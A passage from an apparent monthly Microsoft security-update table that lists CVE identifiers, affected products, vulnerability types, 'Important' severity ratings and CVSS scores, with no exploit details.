No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote 